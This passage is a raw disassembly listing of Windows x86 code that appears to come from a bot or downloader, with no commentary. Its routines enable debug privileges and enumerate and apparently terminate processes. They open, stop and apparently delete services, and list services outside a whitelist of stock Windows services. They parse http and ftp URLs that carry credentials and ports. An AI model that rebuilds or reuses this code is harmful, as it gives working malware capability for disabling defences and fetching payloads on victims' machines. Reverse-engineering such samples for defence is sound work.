add esp, 1114h
retn
; ---------------------------------------------------------------------------
loc_41E593: ; CODE XREF: sub_41E560+28j
mov eax, [esp+0Ch+var_4]
shr eax, 2
jz loc_41E65D
push ebx
mov ebx, ds:dword_4B387C
push ebp
push esi
push edi
lea ebp, [esp+1Ch+arg_104]
mov [esp+1Ch+var_8], eax
loc_41E5B5: ; CODE XREF: sub_41E560+F3j
mov edi, offset aUnknown ; "unknown"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+1Ch+arg_0]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebp+0]
push ecx
push 0
push 411h
call ebx
mov esi, eax
test esi, esi
jz short loc_41E647
lea edx, [esp+28h+var_10]
lea eax, [esp+28h+var_C]
push edx
push 4
push eax
push esi
call sub_430ACE
test eax, eax
jz short loc_41E640
mov edx, [esp+38h+var_1C]
lea ecx, [esp+38h+var_18]
push 104h
push ecx
push edx
push esi
call sub_430AC8
mov eax, [esp+48h+arg_10DC]
lea ecx, [esp+48h+var_28]
push eax
push ecx
call ds:dword_4B3AFC
add esp, 8
test eax, eax
jnz short loc_41E640
push eax
push esi
call ds:dword_4B3880
mov byte ptr [esp+13h], 1
loc_41E640: ; CODE XREF: sub_41E560+A2j
; sub_41E560+D1j
push esi
call ds:dword_4B38C8
loc_41E647: ; CODE XREF: sub_41E560+8Cj
mov eax, [esp+14h]
add ebp, 4
dec eax
mov [esp+14h], eax
jnz loc_41E5B5
pop edi
pop esi
pop ebp
pop ebx
loc_41E65D: ; CODE XREF: sub_41E560+3Aj
mov al, [esp+3]
add esp, 1114h
retn
sub_41E560 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E6C0 proc near ; CODE XREF: sub_40191Fj
var_455 = byte ptr -455h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = byte ptr -44Ch
var_43C = byte ptr -43Ch
var_424 = byte ptr -424h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_41E6C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 44Ch
push ebx
push esi
mov esi, [esp+460h+arg_0]
lea ecx, [esp+460h+var_424]
push esi
call sub_4017A8
push eax
mov [esp+464h+var_4], 0
call sub_401D57
add esp, 4
lea ecx, [esp+460h+var_424]
mov bl, al
mov [esp+460h+var_4], 0FFFFFFFFh
call sub_4011F9
test bl, bl
jz loc_41E83A
lea ecx, [esp+460h+var_43C]
call sub_4013CF
push esi
lea eax, [esp+464h+var_43C]
mov ebx, 1
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
mov [esp+46Ch+var_4], ebx
mov [esp+46Ch+var_454], 0
mov [esp+46Ch+var_450], 80h
call sub_40102D
add esp, 0Ch
lea ecx, [esp+460h+var_454]
push ecx
push 20019h
push 0
lea ecx, [esp+46Ch+var_43C]
call sub_4015F5
push eax
push 80000002h
call ds:dword_4B3770
mov ecx, [esp+460h+var_454]
lea edx, [esp+460h+var_450]
lea eax, [esp+460h+var_40C]
push edx
push eax
push 0
push 0
push offset aImagepath ; "ImagePath"
push ecx
call ds:dword_4B3738
lea edx, [esp+460h+var_455]
lea eax, [esp+460h+var_40C]
push edx
push eax
lea ecx, [esp+468h+var_44C]
call ds:dword_4B39A4
mov ecx, ds:dword_4B39BC
mov byte ptr [esp+460h+var_4], 2
mov edx, [ecx]
lea ecx, [esp+460h+var_44C]
push edx
push offset asc_43BFF8 ; "\\"
call ds:dword_4B39C0
inc eax
lea ecx, [esp+460h+var_44C]
push eax
push 0
call ds:dword_4B399C
lea ecx, [esp+460h+var_44C]
call ds:dword_4B39A0
push eax
call sub_40157D
add esp, 4
lea ecx, [esp+460h+var_43C]
call sub_4015F5
push eax
call ds:dword_4B38D4
lea ecx, [esp+460h+var_44C]
mov byte ptr [esp+460h+var_4], bl
call ds:dword_4B39AC
lea ecx, [esp+460h+var_43C]
mov [esp+460h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, bl
pop esi
pop ebx
mov ecx, [esp+458h+var_C]
mov large fs:0, ecx
add esp, 458h
retn
; ---------------------------------------------------------------------------
loc_41E83A: ; CODE XREF: sub_41E6C0+5Aj
mov ecx, [esp+460h+var_C]
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 458h
retn
sub_41E6C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E8D0 proc near ; CODE XREF: sub_401D57j
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push ebx
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call ds:dword_4B3758
mov ebx, eax
test ebx, ebx
jnz short loc_41E8F5
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_41E8F5: ; CODE XREF: sub_41E8D0+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_401726
push eax
push ebx
call ds:dword_4B374C
mov esi, eax
test esi, esi
jnz short loc_41E920
push ebx
call ds:dword_4B3760
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_41E920: ; CODE XREF: sub_41E8D0+3Fj
push ebp
push edi
mov edi, ds:dword_4B3754
push esi
call edi
push esi
call edi
mov ebp, ds:dword_4B3750
lea eax, [esp+2Ch+var_1C]
push eax
push 1
push esi
call ebp
push esi
call edi
lea ecx, [esp+2Ch+var_1C]
push ecx
push 1
push esi
call ebp
push esi
mov esi, ds:dword_4B3760
call esi
push ebx
call esi
pop edi
pop ebp
pop esi
mov al, 1
pop ebx
add esp, 1Ch
retn
sub_41E8D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E9A0 proc near ; CODE XREF: sub_4017DAj
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 28h
push ebx
push ebp
push esi
lea eax, [esp+34h+var_28]
push edi
xor esi, esi
push eax
push esi
push 28h
xor bl, bl
mov [esp+44h+var_24], 10h
call ds:dword_4B3874
push eax
call ds:dword_4B3720
mov ebp, ds:dword_4B3724
mov edi, ds:dword_4B38C8
test eax, eax
jnz short loc_41E9F0
lea ecx, [esp+38h+var_28]
push ecx
push 28h
call ds:dword_4B3878
push eax
call ds:dword_4B3728
test eax, eax
jz short loc_41EA4F
loc_41E9F0: ; CODE XREF: sub_41E9A0+36j
cmp [esp+38h+var_28], esi
jz short loc_41EA53
lea edx, [esp+38h+var_1C]
mov [esp+38h+var_20], 1
push edx
push offset aSedebugprivile ; "SeDebugPrivilege"
push esi
mov [esp+44h+var_14], 2
call ds:dword_4B3734
lea eax, [esp+38h+var_24]
lea ecx, [esp+38h+var_10]
push eax
mov eax, [esp+3Ch+var_28]
push ecx
lea edx, [esp+40h+var_20]
push 10h
push edx
push esi
push eax
call ebp
test eax, eax
jz short loc_41EA48
call ds:dword_4B3898
cmp eax, 514h
jnz short loc_41EA53
mov ecx, [esp+38h+var_28]
push ecx
jmp short loc_41EA4D
; ---------------------------------------------------------------------------
loc_41EA48: ; CODE XREF: sub_41E9A0+92j
mov edx, [esp+38h+var_28]
push edx
loc_41EA4D: ; CODE XREF: sub_41E9A0+A6j
call edi
loc_41EA4F: ; CODE XREF: sub_41E9A0+4Ej
mov [esp+38h+var_28], esi
loc_41EA53: ; CODE XREF: sub_41E9A0+54j
; sub_41E9A0+9Fj
mov eax, [esp+38h+arg_0]
push eax
push esi
push 411h
call ds:dword_4B387C
mov esi, eax
test esi, esi
jz short loc_41EA78
push 0
push esi
call ds:dword_4B3880
push esi
mov bl, 1
call edi
loc_41EA78: ; CODE XREF: sub_41E9A0+C8j
mov eax, [esp+38h+var_28]
test eax, eax
jz short loc_41EA97
push 0
push 0
lea ecx, [esp+40h+var_10]
push 10h
push ecx
push 0
push eax
call ebp
mov edx, [esp+38h+var_28]
push edx
call edi
loc_41EA97: ; CODE XREF: sub_41E9A0+DEj
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
add esp, 28h
retn
sub_41E9A0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EB00 proc near ; CODE XREF: sub_4011AEj
var_68 = dword ptr -68h
var_54 = byte ptr -54h
var_4C = dword ptr -4Ch
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_F4 = byte ptr 0F8h
arg_100 = byte ptr 104h
arg_10C4 = dword ptr 10C8h
arg_10D0 = dword ptr 10D4h
arg_1104 = dword ptr 1108h
arg_1118 = dword ptr 111Ch
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41EB00
push eax
mov eax, 1130h
mov large fs:0, esp
call sub_430390
push esi
push offset aPsapi_dll ; "PSAPI.DLL"
call ds:dword_4B38C0
test eax, eax
mov ds:dword_4AFD20, eax
jnz short loc_41EB4C
push offset aPsapi_dll ; "PSAPI.DLL"
call ds:dword_4B38A4
test eax, eax
mov ds:dword_4AFD20, eax
jz loc_41ECCA
loc_41EB4C: ; CODE XREF: sub_41EB00+32j
mov esi, ds:dword_4B38A8
push offset aEnumprocesses ; "EnumProcesses"
push eax
call esi
mov ds:dword_4AFD24, eax
mov eax, ds:dword_4AFD20
push offset aEnumprocessmod ; "EnumProcessModules"
push eax
call esi
mov ecx, ds:dword_4AFD20
push offset aGetmodulefilen ; "GetModuleFileNameExA"
push ecx
mov ds:dword_4AFD28, eax
call esi
mov ecx, ds:dword_4AFD24
mov ds:dword_4AFD2C, eax
test ecx, ecx
jz loc_41ECCA
mov edx, ds:dword_4AFD28
test edx, edx
jz loc_41ECCA
test eax, eax
jz loc_41ECCA
lea edx, [esp+30h+var_28]
lea eax, [esp+30h+arg_100]
push edx
push 1000h
push eax
call ecx
test eax, eax
jz loc_41ECCA
mov ecx, dword ptr ds:aUnknown ; "unknown"
mov eax, dword ptr ds:aUnknown+4
mov edx, [esp+3Ch+var_34]
push edi
mov [esp+40h+var_C], ecx
mov [esp+40h+var_8], eax
mov ecx, 3Fh
mov eax, 0
lea edi, [esp+40h+var_4]
shr edx, 2
rep stosd
jz loc_41ECB1
push ebx
mov ebx, [esp+44h+arg_1104]
push ebp
mov ebp, ds:dword_4B387C
lea edi, [esp+48h+arg_F4]
mov [esp+48h+var_38], edx
loc_41EC0F: ; CODE XREF: sub_41EB00+1A9j
mov ecx, [edi]
push ecx
push 0
push 410h
call ebp
mov esi, eax
test esi, esi
jz short loc_41EC9D
lea edx, [esp+54h+var_38]
lea eax, [esp+54h+var_3C]
push edx
push 4
push eax
push esi
call ds:dword_4AFD28
test eax, eax
jz short loc_41EC96
mov edx, [esp+64h+var_4C]
lea ecx, [esp+64h+var_28]
push 104h
push ecx
push edx
push esi
call ds:dword_4AFD2C
lea ecx, [esp+74h+var_54]
call sub_4017AD
lea eax, [esp+74h+var_38]
lea ecx, [esp+74h+var_54]
push eax
mov [esp+78h+arg_10D0], 0
call sub_401564
mov ecx, [edi]
lea edx, [esp+74h+var_54]
mov [esp+35h], ecx
push edx
mov ecx, ebx
call sub_401FDC
lea ecx, [esp+74h+var_54]
mov [esp+74h+arg_10D0], 0FFFFFFFFh
call sub_40198D
loc_41EC96: ; CODE XREF: sub_41EB00+136j
push esi
call ds:dword_4B38C8
loc_41EC9D: ; CODE XREF: sub_41EB00+11Fj
mov eax, [esp+78h+var_68]
add edi, 4
dec eax
mov [esp+78h+var_68], eax
jnz loc_41EC0F
pop ebp
pop ebx
loc_41ECB1: ; CODE XREF: sub_41EB00+EFj
pop edi
mov al, 1
pop esi
mov ecx, [esp+68h+arg_10C4]
mov large fs:0, ecx
add esp, 113Ch
retn
; ---------------------------------------------------------------------------
loc_41ECCA: ; CODE XREF: sub_41EB00+46j
; sub_41EB00+8Cj ...
mov ecx, [esp+18h+arg_1118]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 113Ch
retn
sub_41EB00 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41ED70 proc near ; CODE XREF: sub_4017ADj
push esi
mov esi, ecx
call sub_4013CF
mov eax, esi
pop esi
retn
sub_41ED70 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41ED90 proc near ; CODE XREF: sub_40198Dj
jmp sub_4011F9
sub_41ED90 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EDB0 proc near ; CODE XREF: sub_401FB9j
var_518 = byte ptr -518h
var_514 = dword ptr -514h
var_510 = dword ptr -510h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_4F8 = byte ptr -4F8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4DC = dword ptr -4DCh
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4CC = dword ptr -4CCh
var_4C8 = dword ptr -4C8h
var_4C4 = dword ptr -4C4h
var_4C0 = dword ptr -4C0h
var_4BC = dword ptr -4BCh
var_4B8 = dword ptr -4B8h
var_4B4 = dword ptr -4B4h
var_4B0 = dword ptr -4B0h
var_4AC = dword ptr -4ACh
var_4A8 = dword ptr -4A8h
var_4A4 = dword ptr -4A4h
var_4A0 = dword ptr -4A0h
var_49C = dword ptr -49Ch
var_498 = dword ptr -498h
var_494 = dword ptr -494h
var_490 = dword ptr -490h
var_48C = dword ptr -48Ch
var_488 = dword ptr -488h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_430 = byte ptr -430h
var_41C = byte ptr -41Ch
var_408 = byte ptr -408h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_41EDB0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 50Ch
push ebx
push ebp
xor ebx, ebx
push 80000000h
push ebx
push ebx
call ds:dword_4B3758
mov ebp, eax
cmp ebp, ebx
mov [esp+520h+var_500], ebp
jnz short loc_41EDFF
pop ebp
xor al, al
pop ebx
mov ecx, [esp+518h+var_C]
mov large fs:0, ecx
add esp, 518h
retn
; ---------------------------------------------------------------------------
loc_41EDFF: ; CODE XREF: sub_41EDB0+34j
push esi
push edi
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
mov [esp+528h+var_4E0], offset aBrowser ; "Browser"
mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp"
mov [esp+528h+var_4D4], offset aDmserver ; "dmserver"
mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache"
mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc"
mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog"
mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem"
mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
mov [esp+528h+var_4AC], offset aMdm ; "MDM"
mov [esp+528h+var_4A8], offset aMessenger ; "Messenger"
mov [esp+528h+var_4A4], offset aNetman ; "Netman"
mov [esp+528h+var_4A0], offset aNla ; "Nla"
mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent"
mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
mov [esp+528h+var_490], offset aRasman ; "RasMan"
mov [esp+528h+var_48C], offset aRpcss ; "RpcSs"
mov [esp+528h+var_488], offset aSamss ; "SamSs"
mov [esp+528h+var_484], offset aSchedule ; "Schedule"
mov [esp+528h+var_480], offset aSeclogon ; "seclogon"
mov [esp+528h+var_47C], offset aSens ; "SENS"
mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
mov [esp+528h+var_474], offset aSpooler ; "Spooler"
mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
mov [esp+528h+var_46C], offset aStisvc ; "stisvc"
mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv"
mov [esp+528h+var_464], offset aTermservice ; "TermService"
mov [esp+528h+var_460], offset aTrkwks ; "TrkWks"
mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr"
mov [esp+528h+var_458], offset aUpnphost ; "upnphost"
mov [esp+528h+var_454], offset aW32time ; "W32Time"
mov [esp+528h+var_450], offset aWebclient ; "WebClient"
mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
mov [esp+528h+var_444], offset aWuauserv ; "wuauserv"
mov [esp+528h+var_440], offset aSrservice ; "srservice"
mov [esp+528h+var_43C], offset aThemes ; "Themes"
mov [esp+528h+var_438], ebx
mov [esp+528h+var_510], ebx
call sub_4013CF
lea eax, [esp+528h+var_510]
lea ecx, [esp+528h+var_514]
mov esi, ds:dword_4B372C
push eax
lea edx, [esp+52Ch+var_518]
push ecx
push edx
lea eax, [esp+534h+var_41C]
push ebx
push eax
push 1
push 30h
push ebp
mov [esp+548h+var_4], ebx
mov [esp+548h+var_50C], ebx
mov [esp+548h+var_504], 80h
call esi
mov ecx, [esp+524h+var_514]
push ecx
call ds:dword_4B3AB0
add esp, 4
mov edi, eax
lea edx, [esp+524h+var_50C]
lea eax, [esp+524h+var_510]
push edx
mov edx, [esp+528h+var_514]
lea ecx, [esp+528h+var_514]
push eax
push ecx
push edx
push edi
push 1
push 30h
push ebp
call esi
mov eax, [esp+524h+var_510]
mov [esp+524h+var_504], ebx
cmp eax, ebx
jbe loc_41F15F
mov ebp, ds:dword_4B3770
loc_41F03B: ; CODE XREF: sub_41EDB0+3A5j
mov eax, offset aAudiosrv ; "AudioSrv"
test eax, eax
jz short loc_41F067
lea esi, [esp+524h+var_4E0]
loc_41F048: ; CODE XREF: sub_41EDB0+2B5j
mov ecx, [edi]
push ecx
push eax
call ds:dword_4B3AFC
add esp, 8
test eax, eax
jz loc_41F143
mov eax, [esi+4]
add esi, 4
cmp eax, ebx
jnz short loc_41F048
loc_41F067: ; CODE XREF: sub_41EDB0+292j
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+524h+var_508]
push ecx
push 20019h
push ebx
lea ecx, [esp+530h+var_4F8]
call sub_4015F5
push eax
push 80000002h
call ebp
cmp eax, ebx
jz short loc_41F0B3
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
push eax
call sub_40102D
add esp, 0Ch
jmp short loc_41F10A
; ---------------------------------------------------------------------------
loc_41F0B3: ; CODE XREF: sub_41EDB0+2EAj
mov eax, [esp+524h+var_508]
lea ecx, [esp+524h+var_500]
lea edx, [esp+524h+var_408]
push ecx
push edx
push ebx
push ebx
push offset aImagepath ; "ImagePath"
push eax
call ds:dword_4B3738
cmp eax, ebx
jz short loc_41F0ED
mov ecx, [edi]
lea edx, [esp+524h+var_4F8]
push ecx
push offset aS????_exe ; "[%s] [????.exe]"
push edx
call sub_40102D
add esp, 0Ch
jmp short loc_41F10A
; ---------------------------------------------------------------------------
loc_41F0ED: ; CODE XREF: sub_41EDB0+324j
mov ecx, [edi]
lea eax, [esp+524h+var_408]
push eax
push ecx
lea edx, [esp+52Ch+var_4F8]
push offset aSS ; "[%s] [%s]"
push edx
call sub_40102D
add esp, 10h
loc_41F10A: ; CODE XREF: sub_41EDB0+301j
; sub_41EDB0+33Bj
lea eax, [esp+524h+var_4F8]
lea ecx, [esp+524h+var_430]
push eax
call sub_40146F
mov ecx, [esp+524h+arg_4]
push eax
mov byte ptr [esp+528h], 1
call sub_4012E4
lea ecx, [esp+524h+var_430]
mov [esp+524h], bl
call sub_4011F9
loc_41F143: ; CODE XREF: sub_41EDB0+2A7j
mov eax, [esp+524h+var_504]
mov ecx, [esp+524h+var_510]
inc eax
add edi, 24h
cmp eax, ecx
mov [esp+524h+var_504], eax
jb loc_41F03B
mov ebp, [esp+524h+var_4FC]
loc_41F15F: ; CODE XREF: sub_41EDB0+27Fj
push ebp
call ds:dword_4B3760
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+528h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 518h
retn
sub_41EDB0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41F2A0 proc near ; CODE XREF: sub_401578j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
push esi
push 0
call ds:dword_4B38C0
push eax
call ds:dword_4B38C4
mov eax, esi
pop esi
retn
sub_41F2A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F2D0 proc near ; CODE XREF: sub_401942j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push ebx
mov [ebp+var_4], 0
mov [ebp+arg_4], eax
femms
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov ebx, [ebp+var_4]
cmp ecx, 2
js short loc_41F309
loc_41F2F2: ; CODE XREF: sub_41F2D0+32j
xor eax, eax
mov ax, [edx]
add ebx, eax
sub ecx, 2
add edx, 2
cmp ecx, 1
jg short loc_41F2F2
cmp ecx, 0
jz short loc_41F31A
loc_41F309: ; CODE XREF: sub_41F2D0+20j
; sub_41F2D0+48j
xor eax, eax
mov al, [edx]
add ebx, eax
sub ecx, 1
add edx, 1
cmp ecx, 0
jg short loc_41F309
loc_41F31A: ; CODE XREF: sub_41F2D0+37j
mov [ebp+var_4], ebx
mov eax, [ebp+var_4]
shr eax, 10h
mov ebx, [ebp+var_4]
and ebx, 0FFFFh
add eax, ebx
mov ebx, eax
shr ebx, 10h
add eax, ebx
mov [ebp+var_4], eax
femms
mov eax, [ebp+var_4]
pop ebx
not eax
mov esp, ebp
pop ebp
retn
sub_41F2D0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41F370: ; CODE XREF: _294ADE7B:00401019j
mov eax, [esp+4]
mov ds:dword_4AFD14, eax
mov eax, offset dword_4AFD14
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41F390: ; CODE XREF: _294ADE7B:004016CCj
push ebx
push ebp
push esi
mov esi, [esp+10h]
push edi
mov edi, ds:dword_4B3A80
push esi
call edi
mov ebp, ds:dword_4B3A7C
push 2
push 0
push esi
mov ebx, eax
call ebp
push esi
call edi
push 0
push ebx
push esi
mov edi, eax
call ebp
add esp, 20h
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41F3E0 proc near ; CODE XREF: sub_401861j
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41F3E0
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push esi
mov esi, [esp+8Ch+arg_0]
xor ebx, ebx
cmp esi, ebx
push edi
jnz short loc_41F40F
xor al, al
jmp loc_41F9E9
; ---------------------------------------------------------------------------
loc_41F40F: ; CODE XREF: sub_41F3E0+26j
lea ecx, [esp+90h+var_84]
call sub_4013CF
push esi
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], ebx
call sub_401564
push offset asc_43BB68 ; ":"
lea eax, [esp+94h+var_54]
push ebx
push eax
lea ecx, [esp+9Ch+var_84]
call sub_401622
mov esi, [esp+90h+arg_4]
push eax
mov ecx, esi
mov byte ptr [esp+94h+var_4], 1
call sub_401E65
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_4011F9
push offset aHttp ; "http"
mov ecx, esi
call sub_4012B7
test eax, eax
jz short loc_41F49F
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012B7
test eax, eax
jz short loc_41F49F
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_4011F9
xor al, al
jmp loc_41F9E9
; ---------------------------------------------------------------------------
loc_41F49F: ; CODE XREF: sub_41F3E0+92j
; sub_41F3E0+A2j
push offset asc_43C2EC ; "/"
lea ecx, [esp+94h+var_54]
push 1
push ecx
lea ecx, [esp+9Ch+var_84]
call sub_401622
push 40h
mov ecx, eax
mov byte ptr [esp+94h+var_4], 2
call sub_401BFE
lea ecx, [esp+90h+var_54]
mov edi, eax
mov byte ptr [esp+90h+var_4], bl
call sub_4011F9
cmp edi, ebx
push offset asc_43C2EC ; "/"
push 1
jz loc_41F7DC
lea edx, [esp+98h+var_24]
lea ecx, [esp+98h+var_84]
push edx
call sub_401622
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 3
call sub_401622
push offset asc_43BB68 ; ":"
lea edx, [esp+94h+var_54]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 4
call sub_401622
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 5
call sub_401E65
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], 4
call sub_4011F9
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 3
call sub_4011F9
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], bl
call sub_4011F9
push offset byte_43FDC8
mov ecx, edi
call sub_4012B7
test eax, eax
jnz short loc_41F599
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_4011F9
xor al, al
jmp loc_41F9E9
; ---------------------------------------------------------------------------
loc_41F599: ; CODE XREF: sub_41F3E0+19Cj
push offset asc_43C2EC ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_401622
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 6
call sub_401622
push offset asc_43BB68 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 7
call sub_401622
mov ecx, eax
mov byte ptr [esp+90h+var_4], 8
call sub_401726
push eax
call ds:dword_4B3AEC
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 7
call sub_4011F9
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 6
call sub_4011F9
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_4011F9
cmp [esi+54h], ebx
jnz short loc_41F665
push offset aHttp ; "http"
mov ecx, esi
call sub_4012B7
test eax, eax
jnz short loc_41F64E
mov dword ptr [esi+54h], 50h
loc_41F64E: ; CODE XREF: sub_41F3E0+265j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012B7
test eax, eax
jnz short loc_41F665
mov dword ptr [esi+54h], 15h
loc_41F665: ; CODE XREF: sub_41F3E0+255j
; sub_41F3E0+27Cj
push offset asc_43C2EC ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_401622
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
